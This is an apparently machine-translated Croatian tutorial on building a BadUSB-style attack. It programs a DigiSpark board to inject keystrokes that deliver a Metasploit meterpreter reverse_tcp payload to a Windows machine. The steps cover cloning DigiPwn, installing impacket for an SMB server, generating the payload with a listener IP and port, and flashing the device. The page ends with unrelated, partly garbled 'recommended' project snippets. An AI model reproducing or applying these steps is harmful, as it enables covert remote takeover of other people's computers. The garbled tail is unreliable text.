Sadržaj:
2025 Autor: John Day | [email protected]. Zadnja promjena: 2025-01-23 14:47
Pa što mi radimo ovdje?
DigiSpark je mali razvojni alat zasnovan na Arduinu koji može djelovati kao ulaz HID tipkovnice. Danas manipuliramo ovim uređajem da bismo osigurali Windows operativni sustav!
Pribor
Arduino IDE
Stroj za prozore
DigiSpark
Metasploit okvir
Python 2.7 (Napomena: potreban vam je python "2.7", nemojte ići ni na jednu drugu verziju)
impacket
Mozak! Pomaže
Korak 1: Klonirajte DigiPwn spremište
Klonirajte u repo GitHub DigiPwn -a prema
git clone
Sada promijenite imenik u DigiPwn do
cd DigiPwn/
Korak 2: Instalirajte Impacket [Module zahtijeva Python]
Ovaj je modul potreban za pokretanje SMB poslužitelja koji je potreban za knjižnicu korisnog tereta
sudo apt-get install python-impacket
Ili možete preuzeti biblioteku impacket i instalirati je odavde.
Korak 3: Omogućimo generiranje korisnog tereta
Trčanje
python DigiPwn.py [HOST] [PORT] [PLAYLOAD] [OUTPUT FILE] [format]
ex
python DigiPwn.py 192.168.1.2 8080 windows/meterpreter/reverse_tcp win.vbs win.vbs
Sada ćete biti upitani trebate li pokrenuti poslužitelj za razmjenu podataka i SMB poslužitelj. Pritisnite y i pritisnite enter
Korak 4: Sada prenesite kôd na Arduino
Prije učitavanja moramo provjeriti je li ploča DigiSpark instalirana u Arduinu kako bismo to učinili ovdje.
nakon toga prenesite datoteku keystroke_inject.ino koju generira skripta. Kad završite, spremni ste
Korak 5: Vrijeme je da uključite bebu
Uključite svoj DigiSpark sada i pričekajte 10 sekundi
BOOM Otvorena je sjednica mjerača brojila!
Preporučeni:
Dizajn igre brzim pokretom u 5 koraka: 5 koraka
Dizajn igre u Flick -u u 5 koraka: Flick je zaista jednostavan način stvaranja igre, osobito nečega poput zagonetke, vizualnog romana ili avanturističke igre
Broj koraka: 17 koraka
الكشف عن عن أنواع المحاليل: محمدآل سعودالكشف عن المحاليل رابط الفديو
Prepoznavanje lica na Raspberry Pi 4B u 3 koraka: 3 koraka
Prepoznavanje lica na Raspberry Pi 4B u 3 koraka: U ovom Instructableu ćemo izvršiti detekciju lica na Raspberry Pi 4 sa Shunya O/S pomoću knjižnice Shunyaface. Shunyaface je biblioteka za prepoznavanje/otkrivanje lica. Cilj projekta je postići najbržu brzinu otkrivanja i prepoznavanja s
Kako napraviti brojač koraka?: 3 koraka (sa slikama)
Kako napraviti brojač koraka?: Nekada sam se dobro snašao u mnogim sportovima: hodanje, trčanje, vožnja bicikla, igranje badmintona itd. Volim jahanje da bih brzo putovao. Pa, pogledaj moj trbušni trbuh … Pa, u svakom slučaju, odlučujem ponovno početi vježbati. Koju opremu trebam pripremiti?
Aduino UNO Broj koraka: 5 koraka
Aduino UNO 를 이용한 도망 치는 &&&& && l g g g g g g g g g g g g g g g 4 g 4 4 4 4 프로젝트 프로젝트 프로젝트 프로젝트 프로젝트 프로젝트 프로젝트 프로젝트 일자 일자 일자: 2017.01.06. ~ 2017.01.11.- 역할 분담 SW 엔지니어: 김 예은, 임동영 HW 엔지니어: 김지훈 디자이너: 이재민 레코더: 홍 다예 ------------------------ --------------------------------------------------